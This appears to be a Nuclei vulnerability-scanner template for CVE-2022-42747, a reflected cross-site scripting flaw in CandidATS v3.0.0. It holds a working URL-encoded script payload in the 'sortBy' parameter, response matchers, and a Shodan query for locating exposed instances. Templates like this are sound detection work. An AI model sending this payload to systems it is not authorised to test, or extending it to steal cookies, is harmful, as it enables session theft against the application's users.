46 lines
1.2 KiB
YAML
46 lines
1.2 KiB
YAML
id: CVE-2022-42747
|
|
|
|
info:
|
|
name: CandidATS v3.0.0 - Cross Site Scripting.
|
|
author: arafatansari
|
|
severity: medium
|
|
description: |
|
|
CandidATS v3.0.0 on 'sortBy' of the 'ajax.php' resource, allows an external attacker to steal the cookie of arbitrary users.
|
|
reference:
|
|
- https://fluidattacks.com/advisories/modestep/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-42747
|
|
- https://fluidattacks.com/advisories/jcole/
|
|
- https://candidats.net/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2022-42747
|
|
cwe-id: CWE-79
|
|
metadata:
|
|
shodan-query: http.html:"CandidATS"
|
|
verified: "true"
|
|
tags: cve,cve2022,candidats,xss
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&sortDirection=desc&indexFile=1&isPopup=0'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '<script>alert(document.domain)</script>'
|
|
- 'candidat'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 404
|